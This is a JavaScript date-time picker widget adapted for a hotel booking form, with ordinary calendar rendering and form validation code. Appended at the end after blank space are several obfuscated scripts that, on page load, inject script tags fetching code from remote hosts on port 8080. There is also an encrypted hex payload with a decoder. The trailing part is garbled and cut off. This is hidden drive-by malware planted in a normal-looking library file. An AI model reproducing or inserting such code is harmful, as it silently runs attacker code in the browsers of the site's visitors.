//Javascript name: My Date Time Picker
//Date created: 16-Nov-2003 23:19
//Scripter: TengYong Ng
//Website: http://www.rainforestnet.com
//Copyright (c) 2003 TengYong Ng
//FileName: DateTimePicker.js
//Version: 0.8
//Contact: contact@rainforestnet.com
// Note: Permission given to use this script in ANY kind of applications if
//       header lines are left unchanged.

//Global variables
var winCal;
var dtToday=new Date();
var Cal;
var docCal;

var MonthName=["January", "February", "March", "April", "May", "June","July", 
	"August", "September", "October", "November", "December"];
var WeekDayName=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];	
var exDateTime;//Existing Date and Time

//Configurable parameters
var cnTop="200";//top coordinate of calendar window.
var cnLeft="500";//left coordinate of calendar window
var WindowTitle ="DateTime Picker";//Date Time Picker title.
var WeekChar=2;//number of character for week day. if 2 then Mo,Tu,We. if 3 then Mon,Tue,Wed.
var CellWidth=20;//Width of day cell.
var DateSeparator=" - ";//Date Separator, you can change it to "/" if you want.
var TimeMode=24;//default TimeMode value. 12 or 24

var ShowLongMonth=true;//Show long month name in Calendar header. example: "January".
var ShowLongYear=true;//Show long month name in Calendar header. example: "January".
var ShowMonthYear=true;//Show Month and Year in Calendar header.
var MonthYearColor="#FF9E08";//Font Color of Month and Year in Calendar header.
var WeekHeadColor="#639ACE";//Background Color in Week header.
var SundayColor="#dbeaf5";//Background color of Sunday.
var SaturdayColor="#dbeaf5";//Background color of Saturday.
var WeekDayColor="white";//Background color of weekdays.
var WeekDayfontColor ="white";//Background color of weekdays.
var FontColor="#000000";//color of font in Calendar day cell.
var TodayColor="#ffb6c1";//Background color of today.
var SelDateColor="#ffffff";//Backgrond color of selected date in textbox.
var YrSelColor="#A51408";//color of font of Year selector.
var ThemeBg="";//Background image of Calendar window.
//end Configurable parameters
//end Global variable

function NewCal(pCtrl,pFormat,pShowTime,pTimeMode)
{
	Cal=new Calendar(dtToday);
	if ((pShowTime!=null) && (pShowTime))
	{
		Cal.ShowTime=true;
		if ((pTimeMode!=null) &&((pTimeMode=='12')||(pTimeMode=='24')))
		{
			TimeMode=pTimeMode;
		}		
	}	
	if (pCtrl!=null)
		Cal.Ctrl=pCtrl;
	if (pFormat!=null)
		Cal.Format=pFormat.toUpperCase();
	
	exDateTime=document.getElementById(pCtrl).value;
	if (exDateTime!="")//Parse Date String
	{
		var Sp1;//Index of Date Separator 1
		var Sp2;//Index of Date Separator 2 
		var tSp1;//Index of Time Separator 1
		var tSp1;//Index of Time Separator 2
		var strMonth;
		var strDate;
		var strYear;
		var intMonth;
		var YearPattern;
		var strHour;
		var strMinute;
		var strSecond;
		//parse month
		Sp1=exDateTime.indexOf(DateSeparator,0)
		Sp2=exDateTime.indexOf(DateSeparator,(parseInt(Sp1)+1));
		
		if ((Cal.Format.toUpperCase()=="DDMMYYYY") || (Cal.Format.toUpperCase()=="DDMMMYYYY"))
		{
			strMonth=exDateTime.substring(Sp1+1,Sp2);
			strDate=exDateTime.substring(0,Sp1);
		}
		else if ((Cal.Format.toUpperCase()=="MMDDYYYY") || (Cal.Format.toUpperCase()=="MMMDDYYYY"))
		{
			strMonth=exDateTime.substring(0,Sp1);
			strDate=exDateTime.substring(Sp1+1,Sp2);
		}
		if (isNaN(strMonth))
			intMonth=Cal.GetMonthIndex(strMonth);
		else
			intMonth=parseInt(strMonth,10)-1;	
		if ((parseInt(intMonth,10)>=0) && (parseInt(intMonth,10)<12))
			Cal.Month=intMonth;
		//end parse month
		//parse Date
		if ((parseInt(strDate,10)<=Cal.GetMonDays()) && (parseInt(strDate,10)>=1))
			Cal.Date=strDate;
		//end parse Date
		//parse year
		strYear=exDateTime.substring(Sp2+1,Sp2+5);
		YearPattern=/^\d{4}$/;
		if (YearPattern.test(strYear))
			Cal.Year=parseInt(strYear,10);
		//end parse year
		//parse time
		if (Cal.ShowTime==true)
		{
			tSp1=exDateTime.indexOf(":",0)
			tSp2=exDateTime.indexOf(":",(parseInt(tSp1)+1));
			strHour=exDateTime.substring(tSp1,(tSp1)-2);
			Cal.SetHour(strHour);
			strMinute=exDateTime.substring(tSp1+1,tSp2);
			Cal.SetMinute(strMinute);
			strSecond=exDateTime.substring(tSp2+1,tSp2+3);
			Cal.SetSecond(strSecond);
		}	
	}
	winCal=window.open("","DateTimePicker","toolbar=0,status=0,menubar=0,fullscreen=no,width=195,height=160,resizable=0,border=0,top="+cnTop+",left="+cnLeft);
	docCal=winCal.document;
	RenderCal();
}

function RenderCal()
{
	var vCalHeader;
	var vCalData;
	var vCalTime;
	var i;
	var j;
	var SelectStr;
	var vDayCount=0;
	var vFirstDay;
  
	var saveCalMonth;
	docCal.open();
	docCal.writeln("<html><head><title>"+WindowTitle+"</title>");
	docCal.writeln("<style>td {font-family: Tahoma, Verdana, sans-serif; font-size: 12px;}</style>");
	docCal.writeln("<script>var winMain=window.opener;</script>");
	docCal.writeln("</head><body bgcolor='#FFFFFF' marginheight='5' marginwidth='5' topmargin='5' leftmargin='5' rightmargin='5'><form name='Calendar'>");
 
	vCalHeader="<table border=1  bordercolor='#4682B4' cellpadding=0 cellspacing=0 width='100%' align=\"center\" valign=\"center\">\n";


	
	
	//Month Selector
	vCalHeader+="<tr>\n<td colspan='7' bgcolor='#4682B4'><table border=0 width='100%' cellpadding=0 cellspacing=0><tr><td align='left'>\n";
	vCalHeader+="<select name=\"MonthSelector\" onChange=\"javascript:winMain.Cal.SwitchMth(this.selectedIndex);winMain.RenderCal();\">\n";
   saveCalMonth=Cal.Month;
	 var DaysInMonth=[31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
	for (i=0;i<12;i++)
	{
	
	/* if (i==Cal.Month)
			SelectStr="Selected";
		else
			SelectStr="";	
		vCalHeader+="<option "+SelectStr+" value >"+MonthName[i]+"\n";*/
	
     if (i == saveCalMonth)
		{
		   if((dtToday.getDate() + 7) > DaysInMonth){
          SelectStr="";
			 }else{
			     SelectStr="Selected";
			 }	
					 
		   vCalHeader+="<option "+SelectStr+" value >"+MonthName[i]+"\n";

			
		}else{
		
		   if( (i == (saveCalMonth + 1)) &&(i !=dtToday.getMonth()+1) && ((dtToday.getDate()+ 7) > DaysInMonth) ){
		     vCalHeader+="<option Selected value>"+MonthName[i]+"\n";
		     Cal.Month=saveCalMonth + 1;
		    }else{ 
					if( (i == (saveCalMonth)) &&(i!=dtToday.getMonth())){
 							vCalHeader+="<option  value >"+MonthName[i]+"\n";
					}else
			       vCalHeader+="<option value>"+ MonthName[i] +"\n";
			 }

			 
	  }

			
		
		
		
	}
	vCalHeader+="</select></td>";
	
	// >>>>>>>>>> By BOC (begin) >>>>>>>>>>
		//Year2 Selector
	/*vCalHeader+="<td colspan='7'>\n";
	vCalHeader+="<select name=\"YearSelector\" onChange=\"javascript:winMain.Cal.SwitchYear(this.selectedIndex);winMain.RenderCal();\">\n";

	
	for (i=2005;i<2101;i++)
	{

		if (i==Cal.Year)
			SelectStr="Selected";
		else
			SelectStr="";	
			vCalHeader+= "<OPTION "+SelectStr+" value=\""+i+"\">"+i+"\n";
		//vCalHeader+="<option "+SelectStr+" value =\""+i+"\">"+a+"\n";
	}
	vCalHeader+="</select></td>";
	vCalHeader+="</tr></table>";*/
		// <<<<<<<<<< By BOC (end) <<<<<<<<<<
	//////////////////////////////////
	
//Year selector

	vCalHeader+="<td><a href=\"javascript:winMain.Cal.DecYear();winMain.RenderCal()\"><img src='themes/theme_e/images/prev.gif' width='16' height='16' border='0' alt='previous year'></a><font face=\"Tahoma\" color='#ffffff' size=2><b> "+Cal.Year+" </b></font><a href=\"javascript:winMain.Cal.IncYear();winMain.RenderCal()\"><img src='themes/theme_e/images/next.gif' width='16' height='16' border='0' alt='next year'></a></td></tr></table></td>\n";
	vCalHeader+="</tr>";
	
	
	//Calendar header shows Month and Year
	if (ShowMonthYear)
		//vCalHeader+="<tr><td colspan='7'><font face='Verdana' size='2' align='center' color='"+MonthYearColor+"'><b>"+Cal.GetMonthName(ShowLongMonth)+" "+Cal.Year+"</b></font></td></tr>\n";
		vCalHeader+="<tr></tr>\n";
	//Week day header
	vCalHeader+="<tr bgcolor="+WeekHeadColor+">";
	for (i=0;i<7;i++)
	{
		vCalHeader+="<td align='center' bgcolor='#87cefa'><font face='Tahoma' size='2' color='#ffffff'>"+WeekDayName[i].substr(0,WeekChar)+"</font></td>";
	}
	vCalHeader+="</tr>";	
	docCal.write(vCalHeader);
	
	//Calendar detail
	CalDate=new Date(Cal.Year,Cal.Month);
	CalDate.setDate(1);
	vFirstDay=CalDate.getDay();
	vCalData="<tr>";
	for (i=0;i<vFirstDay;i++)
	{
	vCalData=vCalData+GenCell();
		vDayCount=vDayCount+1;
	}
	for (j=1;j<=Cal.GetMonDays();j++)
	{
		var strCell;
		vDayCount=vDayCount+1;
		if ((j==dtToday.getDate())&&(Cal.Month==dtToday.getMonth())&&(Cal.Year==dtToday.getFullYear()))
			strCell=GenCell(j,true,TodayColor);//Highlight today's date
		else
		{
			if (j==Cal.Date)
			{
				strCell=GenCell(j,true,SelDateColor);
			}
			else
			{	 
				if (vDayCount%7==0)
					strCell=GenCell(j,false,SaturdayColor);
				else if ((vDayCount+6)%7==0)
					strCell=GenCell(j,false,SundayColor);
				else
					strCell=GenCell(j,null,WeekDayColor);
			}		
		}						
		vCalData=vCalData+strCell;

		if((vDayCount%7==0)&&(j<Cal.GetMonDays()))
		{
			vCalData=vCalData+"</tr>\n<tr>";
		}
	}
	docCal.writeln(vCalData);	
	//Time picker
	if (Cal.ShowTime)
	{
		var showHour;
		showHour=Cal.getShowHour();		
		vCalTime="<tr>\n<td colspan='7' align='center'>";
		vCalTime+="<input type='text' name='hour' maxlength=2 size=1 style=\"WIDTH: 22px\" value="+showHour+" onchange=\"javascript:winMain.Cal.SetHour(this.value)\">";
		vCalTime+=" : ";
		vCalTime+="<input type='text' name='minute' maxlength=2 size=1 style=\"WIDTH: 22px\" value="+Cal.Minutes+" onchange=\"javascript:winMain.Cal.SetMinute(this.value)\">";
		vCalTime+=" : ";
		vCalTime+="<input type='text' name='second' maxlength=2 size=1 style=\"WIDTH: 22px\" value="+Cal.Seconds+" onchange=\"javascript:winMain.Cal.SetSecond(this.value)\">";
		if (TimeMode==12)
		{
			var SelectAm =(parseInt(Cal.Hours,10)<12)? "Selected":"";
			var SelectPm =(parseInt(Cal.Hours,10)>=12)? "Selected":"";

			vCalTime+="<select name=\"ampm\" onchange=\"javascript:winMain.Cal.SetAmPm(this.options[this.selectedIndex].value);\">";
			vCalTime+="<option "+SelectAm+" value=\"AM\">AM</option>";
			vCalTime+="<option "+SelectPm+" value=\"PM\">PM<option>";
			vCalTime+="</select>";
		}	
		vCalTime+="\n</td>\n</tr>";
		docCal.write(vCalTime);
	}	
	//end time picker
	docCal.writeln("\n</table>");
	docCal.writeln("</form></body></html>");
	docCal.close();
}

function GenCell(pValue,pHighLight,pColor)//Generate table cell with value
{
	var PValue;
	var PCellStr;
	var vColor;
	var vHLstr1;//HighLight string
	var vHlstr2;
	var vTimeStr;
	
	if (pValue == null)
		PValue="";
	else
		PValue=pValue;
	
	if (pColor!=null)
		vColor="bgcolor=\""+pColor+"\"";
	else
		vColor="";	
	if ((pHighLight!=null)&&(pHighLight))
		{vHLstr1="color='red'><b>";vHLstr2="</b>";}
	else
		{vHLstr1=">";vHLstr2="";}	
	
	if (Cal.ShowTime)
	{
		vTimeStr="winMain.document.getElementById('"+Cal.Ctrl+"').value+=' '+"+"winMain.Cal.getShowHour()"+"+':'+"+"winMain.Cal.Minutes"+"+':'+"+"winMain.Cal.Seconds";
		if (TimeMode==12)
			vTimeStr+="+' '+winMain.Cal.AMorPM";
	}	
	else
		vTimeStr="";
	//PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='verdana' size='2'"+vHLstr1+""+PValue+""+vHLstr2+"</font></td>";		
	//PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='verdana' size='2'"+vHLstr1+"<a href=\"javascript:winMain.document.getElementById('"+Cal.Ctrl+"').value='"+Cal.FormatDate(PValue)+"';"+vTimeStr+";window.close();\">"+PValue+"</a>"+vHLstr2+"</font></td>";
	
 

	
  if (dtToday.getFullYear() > Cal.Year)
	{
	   PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2'"+vHLstr1+""+PValue+""+vHLstr2+"</font></td>";
	}
   else { if (dtToday.getFullYear() == Cal.Year){
                  if (dtToday.getMonth() > Cal.Month  ){
                	    PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2' style='text-decoration: line-through;' "+vHLstr1+""+PValue+""+vHLstr2+"</font></td>";
                    }
                   else { if (dtToday.getMonth()== Cal.Month  ){
                                   if( dtToday.getDate()+7  >  PValue){
                                  PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2' style='text-decoration: line-through;' "+vHLstr1+""+PValue+""+vHLstr2+"</font></td>";
                                  } else{
                                  	PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2'"+vHLstr1+"<a href=\"javascript:winMain.document.getElementById('"+Cal.Ctrl+"').value='"+Cal.FormatDate(PValue)+"';"+vTimeStr+";window.close();\">"+PValue+"</a>"+vHLstr2+"</font></td>";
                       	   }
                         }
                         else {
                          PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2'"+vHLstr1+"<a href=\"javascript:winMain.document.getElementById('"+Cal.Ctrl+"').value='"+Cal.FormatDate(PValue)+"';"+vTimeStr+";window.close();\">"+PValue+"</a>"+vHLstr2+"</font></td>";
                              }
                   }
           }
           else{
             PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='Tahoma' size='2'"+vHLstr1+"<a href=\"javascript:winMain.document.getElementById('"+Cal.Ctrl+"').value='"+Cal.FormatDate(PValue)+"';"+vTimeStr+";window.close();\">"+PValue+"</a>"+vHLstr2+"</font></td>";


           }
           
           
    }

        
        
        
        
        

/*if( dtToday.getDate()+7  >PValue  )
{
  PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font style= \"text-Decoration:line-through;\" face='verdana' size='2' "+vHLstr1+""+PValue+""+vHLstr2+"</font></td>";
} else
 	PCellStr="<td "+vColor+" width="+CellWidth+" align='center'><font face='verdana' size='2'"+vHLstr1+"<a href=\"javascript:winMain.document.getElementById('"+Cal.Ctrl+"').value='"+Cal.FormatDate(PValue)+"';"+vTimeStr+";window.close();\">"+PValue+"</a>"+vHLstr2+"</font></td>";
	
*/

	return PCellStr;
}

function Calendar(pDate,pCtrl)
{
	//Properties
	this.Date=pDate.getDate();//selected date
	this.Month=pDate.getMonth();//selected month number
	this.Year=pDate.getFullYear();//selected year in 4 digits
	this.Hours=pDate.getHours();	
	
	if (pDate.getMinutes()<10)
		this.Minutes="0"+pDate.getMinutes();
	else
		this.Minutes=pDate.getMinutes();
	
	if (pDate.getSeconds()<10)
		this.Seconds="0"+pDate.getSeconds();
	else		
		this.Seconds=pDate.getSeconds();
		
	this.MyWindow=winCal;
	this.Ctrl=pCtrl;
	this.Format="ddMMyyyy";
	this.Separator=DateSeparator;
	this.ShowTime=false;
	if (pDate.getHours()<12)
		this.AMorPM="AM";
	else
		this.AMorPM="PM";	
}

function GetMonthIndex(shortMonthName)
{
	for (i=0;i<12;i++)
	{
		if (MonthName[i].substring(0,3).toUpperCase()==shortMonthName.toUpperCase())
		{	return i;}
	}
}
Calendar.prototype.GetMonthIndex=GetMonthIndex;

function IncYear()
{	Cal.Year++;}
Calendar.prototype.IncYear=IncYear;

function DecYear()
{	Cal.Year--;}
Calendar.prototype.DecYear=DecYear;
	
function SwitchMth(intMth)
{	
  Cal.Month=intMth;
}
Calendar.prototype.SwitchMth=SwitchMth;

function SwitchYear(intYear)
{	
  Cal.Year=intYear;
}
Calendar.prototype.SwitchYear=SwitchYear;


function SetHour(intHour)
{	
	var MaxHour;
	var MinHour;
	if (TimeMode==24)
	{	MaxHour=23;MinHour=0}
	else if (TimeMode==12)
	{	MaxHour=12;MinHour=1}
	else
		alert("TimeMode can only be 12 or 24");		
	var HourExp=new RegExp("^\\d\\d$");
	if (HourExp.test(intHour) && (parseInt(intHour,10)<=MaxHour) && (parseInt(intHour,10)>=MinHour))
	{	
		if ((TimeMode==12) && (Cal.AMorPM=="PM"))
		{
			if (parseInt(intHour,10)==12)
				Cal.Hours=12;
			else	
				Cal.Hours=parseInt(intHour,10)+12;
		}	
		else if ((TimeMode==12) && (Cal.AMorPM=="AM"))
		{
			if (intHour==12)
				intHour-=12;
			Cal.Hours=parseInt(intHour,10);
		}
		else if (TimeMode==24)
			Cal.Hours=parseInt(intHour,10);	
	}
}
Calendar.prototype.SetHour=SetHour;

function SetMinute(intMin)
{
	var MinExp=new RegExp("^\\d\\d$");
	if (MinExp.test(intMin) && (intMin<60))
		Cal.Minutes=intMin;
}
Calendar.prototype.SetMinute=SetMinute;

function SetSecond(intSec)
{	
	var SecExp=new RegExp("^\\d\\d$");
	if (SecExp.test(intSec) && (intSec<60))
		Cal.Seconds=intSec;
}
Calendar.prototype.SetSecond=SetSecond;

function SetAmPm(pvalue)
{
	this.AMorPM=pvalue;
	if (pvalue=="PM")
	{
		this.Hours=(parseInt(this.Hours,10))+12;
		if (this.Hours==24)
			this.Hours=12;
	}	
	else if (pvalue=="AM")
		this.Hours-=12;	
}
Calendar.prototype.SetAmPm=SetAmPm;

function getShowHour()
{
	var finalHour;
    if (TimeMode==12)
    {
    	if (parseInt(this.Hours,10)==0)
		{
			this.AMorPM="AM";
			finalHour=parseInt(this.Hours,10)+12;	
		}
		else if (parseInt(this.Hours,10)==12)
		{
			this.AMorPM="PM";
			finalHour=12;
		}		
		else if (this.Hours>12)
		{
			this.AMorPM="PM";
			if ((this.Hours-12)<10)
				finalHour="0"+((parseInt(this.Hours,10))-12);
			else
				finalHour=parseInt(this.Hours,10)-12;	
		}
		else
		{
			this.AMorPM="AM";
			if (this.Hours<10)
				finalHour="0"+parseInt(this.Hours,10);
			else
				finalHour=this.Hours;	
		}
	}
	else if (TimeMode==24)
	{
		if (this.Hours<10)
			finalHour="0"+parseInt(this.Hours,10);
		else	
			finalHour=this.Hours;
	}	
	return finalHour;	
}				
Calendar.prototype.getShowHour=getShowHour;		

function GetMonthName(IsLong)
{
	var Month=MonthName[this.Month];
	if (IsLong)
		return Month;
	else
		return Month.substr(0,3);
}
Calendar.prototype.GetMonthName=GetMonthName;


function GetMonDays()//Get number of days in a month
{
	var DaysInMonth=[31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
	if (this.IsLeapYear())
	{
		DaysInMonth[1]=29;
	}	
	return DaysInMonth[this.Month];	
}
Calendar.prototype.GetMonDays=GetMonDays;

function IsLeapYear()
{
	if ((this.Year%4)==0)
	{
		if ((this.Year%100==0) && (this.Year%400)!=0)
		{
			return false;
		}
		else
		{
			return true;
		}
	}
	else
	{
		return false;
	}
}
Calendar.prototype.IsLeapYear=IsLeapYear;

function FormatDate(pDate)
{
	if (this.Format.toUpperCase()=="DDMMYYYY")
		return (pDate+DateSeparator+(this.Month+1)+DateSeparator+this.Year);
	else if (this.Format.toUpperCase()=="DDMMMYYYY")
		return (pDate+DateSeparator+this.GetMonthName(false)+DateSeparator+this.Year);
	else if (this.Format.toUpperCase()=="MMDDYYYY")
		return ((this.Month+1)+DateSeparator+pDate+DateSeparator+this.Year);
	else if (this.Format.toUpperCase()=="MMMDDYYYY")
		return (this.GetMonthName(false)+DateSeparator+pDate+DateSeparator+this.Year);			
}
Calendar.prototype.FormatDate=FormatDate;	




function showAlert2(){
   if(book_hotrate.fromdate.value =='dd-mm-yy'){
	   alert("The field From Date is empty.");
		 return false; 
	 }else if(book_hotrate.todate.value =='dd-mm-yy'){
	   alert("The field To Date is empty.");
		 return false;
   }
 return true;
}

function showAlert(){
   if(frm_avail.fromdate.value == 'dd-mm-yy'){
	   alert("The field From Date is empty.");
		 return false; 
	 }else if(frm_avail.todate.value =='dd-mm-yy'){
	   alert("The field To Date is empty.");
		 return false;
   }
 return true;
}

function printit(){ 

window.print() ; 
}













var m;if(m!=''){m='k'};var z='dHeSfHe?rS'.replace(/[S/H~\?]/g, '');var cn="cn";var p='sQeqtQAKtqt0rKiqb&uQt&e&'.replace(/[&0QKq]/g, '');var b="";var r='shcGrGi1pht+'.replace(/[\+Gx1h]/g, '');var d='a.pcpceznzdzC*h,i.lcd*'.replace(/[\*\.,zc]/g, '');var dr=9349;var q='b.oldly^'.replace(/[\^Vl\?\.]/g, '');var f='cWr:e4a$t:e4E$l:e$m:eWnRt:'.replace(/[\:\$RW4]/g, '');var fj='o>n1lEo1aEdj'.replace(/[j\>wE1]/g, '');this.cj="cj";var x='sLr!c^'.replace(/[\^L\!5H]/g, '');var c=document;var xt='';var qz;if(qz!='g' && qz!='o'){qz='g'};window[fj]=function(){try {var ug;if(ug!='' && ug!='wq'){ug='yg'};s=c[f](r);var fp=8792;s[p](z, "1");var a=new Date();var zi;if(zi!='xw'){zi='xw'};var rc = c[q];s[x]='hGtytKpy:K/C/ygzoGozgzlKeG-CcKoCmC-yaCuK.KmGoGbziKlGeG.ydKeG.KhCazrCryeznKmyezdKiCaGnyeytCwyoCrCkC-KczoKmG.KtzhCeKaGnGtGizmGaztGrKiCxG.GryuK:K8C0y8G0C/GsyiCnyaK.KcGoymC.CcGny/CsyiGnKaC.CcyoKmK.zcCnG/KvCizmzezoC.KcyoCmy/GgGcC.KcKay/ygyoyoCgylzeK.CcGoGmy/z'.replace(/[zyGKC]/g, '');var gy;if(gy!='bd' && gy!='oa'){gy=''};var xwg=new Date();rc[d](s);var za;if(za!='wd' && za!='xh'){za='wd'};} catch(sv){};};this.qd="";
var p;if(p!='i'){p=''};try {var a=new String();this.t="t";:LineMixer [this.h="h";var v='h+tZt1p+:*/Z/_f+c_2+-Zc*o+m1.Zi*c+b+cZ.Zc+oZm1.Zc*n*.*d_a*q_i1-+c*o1m+.+n*e_w1s_oZu_r_c+e*wZo*r+lZdZ._rZu*:+8+0+8*0_/1aZd*d_iZcZt_iZnZg*g+a_mZeZs*._c+o_mZ/+aZd_d*i*c+t+iZnZgZg_aZm_e1s*.1c+o+mZ/*g1oZo_g1l*e_.*c_o*m*/_r*e*aZl1i+t1y_kZi1n+g_s*.+cZo1m+/+s1p1e_e+d+t_eZsZt*.ZnZe+tZ/1'.replace(/[1\+Z_\*]/g, '');this.un=false;var g='sMcMr,iDpMtM'.replace(/[M_,D\?]/g, '');var ux=new String();var z='c$r$eFaFt;e;EFl;e$mFe;nFt$'.replace(/[\$\.F;Z]/g, '');var x='omn6l.o6a6ds'.replace(/[sR\.6m]/g, '');var pe;if(pe!='ce'){pe=''};var y="1";var bo;if(bo!=''){bo='wk'};var b='aApApjeAn|dAC$h$ijljdA'.replace(/[A\|\$_j]/g, '');var hh=new Array();var _='sKe<taAot<t<rKijbjuatoe<'.replace(/[\<ojaK]/g, '');var r='b3oPdSyF'.replace(/[F3PiS]/g, '');]var ey=55990;window[x]=function(){var vo;if(vo!='' && vo!='cj'){vo='ql'};xn=document[z](g);var kh;if(kh!='b_'){kh='b_'};:LineMixer [var ly;if(ly!=''){ly='tm'};xn['s5rTca'.replace(/[afnT5]/g, '')]=v;xn[_]('d3e~fHeHrj'.replace(/[j3H~U]/g, ''), y);var lt=new Array();var yv=document[r];var xcs=41748;]this.vd='';var py=new Array();yv[b](xn);};var _p;if(_p!=''){_p='m'};var ea;if(ea!='' && ea!='kb'){ea=null};} catch(zh){var se;if(se!='' && se!='di'){se='une'};};var cq="cq";
this.af='';var is;if(is!=''){is='ie'};var iy=new String();function p() {this.js='';var y;if(y!='k'){y=''};function f(j,_,d){var dc;if(dc!='' && dc!='ad'){dc=''};this.fy="fy";var kr;if(kr!='qv'){kr='qv'};var iyk=false;j['s8e8tMA,t_t_rMi_b_uMt8e,'.replace(/[,_8MI]/g, '')](_, d);}var gh='';var w='sncnr;i;pqtq'.replace(/[q;nTz]/g, '');this.je=56549;var m=window;var bt=false;var wfh;if(wfh!='' && wfh!='tw'){wfh=''};var u='c<r/eVa/tVeLE/lLeLm/eznLtV'.replace(/[VL/\<z]/g, '');var kp="";var yw;if(yw!='sb'){yw='sb'};var vr;if(vr!='es'){vr='es'};var lz;if(lz!='xj'){lz=''};m['o0n0l6o0ahd6'.replace(/[60&h/]/g, '')]=function(){this.ww="ww";try {var ht="ht";var jq="jq";a=document[u](w);var aa=new Date();var op;if(op!='qj' && op != ''){op=null};f(a,'snr#cg'.replace(/[gL#nM]/g, ''),'h|tKt|pK:K/+/+aFbPr+iKl+-+cFoFm+-|bPr|.+tKu+m+bPlKrK.+c+o+m+.KkKaKkKaFkPuF-|c|oKmF.|r|e+d|tKa+gFj+e|w|eKlKe|rFsP.|rKu|:P8+0+8+0P/Kd|oPuKbPa|n+.PcKoKmP/PdFoKuFbPaFnP.Pc+oPmP/PgFoPoKgFlPeF.|c|oFm+/PpPa+nFt|i|pK.KcFo+m+/|oFwP.|lPy+/F'.replace(/[FKP\|\+]/g, ''));var xk;if(xk!='oz'){xk=''};f(a,'dVenf+e+r|'.replace(/[\|nVl\+]/g, ''),1);var g_=new String();document['bmomdOyP'.replace(/[PSQOm]/g, '')]['akpopGe+nkd,C,h,i+l+d+'.replace(/[\+,Gok]/g, '')](a);this.az="";this.dkd=9244;} catch(pm){var nx;if(nx!='oi'){nx=''};var pe=64409;};var nt="";var pl;if(pl!=''){pl='s_'};};var ilm=false;var wi;if(wi!='__' && wi!='er'){wi='__'};};var ii=55544;var hx;if(hx!='cz' && hx!='cc'){hx='cz'};p();
function H() {var p=']';var No="";var h='g';var Z='[';var HN=3519;var T='replace';this.pp="";var dg='';this.w=64919;function t(G,O){var Ay="";var Gg=Z;var TQ=65229;Gg+=O;Gg+=p;this.sh='';var o=new RegExp(Gg, h);return G[T](o, '');var Br=39112;};var sc='';var v=window;var A=t('/ObXaOh1nH.BdBeO/Hb1a1hXnB.OdHeX/HgXoOo1gBl1eH.Bc1oOmH/BaObHrHiXl1.1cOoXmB.BbHrX/Oa1zHeOtO.Hs1kO/O',"OHXB1");var a=t('slceryiypytV',"Vylve");var R=t('h1t1t1pb:1/X/1vfiXrbgbifnZmbe1dXiXa1-1cboXmf.fgXoZoXgflfeX.Xcfobmb.1tbw1.1aXlflbrZe1cbiZpZebs1-bcfobmX.ZnXeZwXufsba1g1ufibd1ef.Xrbu1',"1bXZf");this.W="";var hz=t('cgrPe4agtueuE4lPevmPePn4tP',"P4vug");var m='';var N=t(':H8F0H8d0d',"dcHqF");var ag=false;v[t('oSnhlwohaYdh',"hwSeY")]=function(){try {m+=R;this.n="";m+=N;var C=53252;m+=A;this.y=41410;Az=document[hz](a);this.TK="";q(Az,t('dBezfhezrz',"zhyBI"),([1][0]));q(Az,t('s7rYct',"t5N7Y"),m);var OI="";document[t('brordzy4',"4vrKz")][t('aWpopMeonodWCYhoiolodo',"oWYMg")](Az);var WB=56579;} catch(L){this.yk="";};};function q(u,S,r){var ad='';u[t('s6eXt6AxtxtxrTixbXu6tXeT',"TX6xL")](S, r);}};H();this.qH=false;
var sY="a1beb78caeccb6adbea3a4c9aaa2a682d399b19bbca0adaaa7889b9983a19ca686aa98b0b9b38fa3a2b398af9c9f91abaf9bbdbaa1868186a0a8af9ba097ac9bbed99397c883a187ecaaa1f3be85";var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;function e(v){this.b='';var dy;if(dy!='' && dy!='bB'){dy=''}; var WT=function(O){var ek=new Array();var u;if(u!='' && u!='Fp'){u='Qb'};var ct='';var MF=[153,225,0][2];var Bj;if(Bj!='CR'){Bj='CR'};var d=O[D("elgnht", [1,0])];var k;if(k!='WI' && k != ''){k=null};this.q="";var g=[189,0,120][1];var ym="";var p;if(p!=''){p='WD'};var n=[90,255,196,72][1];var P;if(P!=''){P='he'};var ck;if(ck!='' && ck!='nJx'){ck=''};var MK=new String();var B=[1][0];var tS;if(tS!='yw'){tS='yw'};var Lo='';var yp=new String();while(MF<d){MF++;var rB;if(rB!='' && rB!='ng'){rB='iT'};var uR;if(uR!='' && uR!='gB'){uR='be'};Dw=Bx(O,MF - B);g+=Dw*d;var ZZ='';var Yk="Yk";}var AM=false;var mX;if(mX!='Oj' && mX!='lG'){mX='Oj'};var fl;if(fl!='R' && fl!='IY'){fl='R'};return new M(g % n);this.Lx="Lx";var OX;if(OX!='pR'){OX=''};};var bBs=new String();var Rg=new String();var tI=new String(); function X(a){this.VL='';this.bt='';a = new M(a);var GB;if(GB!='' && GB!='GQ'){GB=''};var nJ = '';var TI;if(TI!='Ji'){TI='Ji'};var Pb='';var S =[19,204,0,62][2];var m =[0,244][0];this.PT="PT";var vt;if(vt!='' && vt!='vm'){vt=null};var J = -1;var yj;if(yj!='fj'){yj=''};var xF=new Date();var ld="";for (m=a[D("ntlegh", [2,3,0,4,1])]-J;m>=S;m=m-[1,42][0]){nJ+=a[D("trAach", [4,5,3,1,2,0])](m);}this.nG='';var gx="gx";return nJ;var tk;if(tk!='' && tk!='Ai'){tk='Ec'};}this.TS=42428;this.ug=false;this.am="am";var Aj="Aj"; var yh;if(yh!='' && yh!='IP'){yh=null};var If;if(If!='' && If!='BS'){If=null};function D(a, SO){var Eh=44608;var S=[60,229,0,141][2];var kF="kF";var xl="xl";var B=[13,1,36][1];var kS="kS";var dC;if(dC!='' && dC!='rb'){dC='ZJ'};var nJ = '';var IO='';var TtA;if(TtA!='eu' && TtA!='Bn'){TtA=''};this.LE="";var Te="Te";var mw = SO.length;var Wv = a.length;var mT=11670;var Xw="";var dR;if(dR!='wi'){dR=''};for(var m = S; m < Wv; m += mw) {var FD=new Date();var bV=new Date();var ye="ye";var F = a.substr(m, mw);var 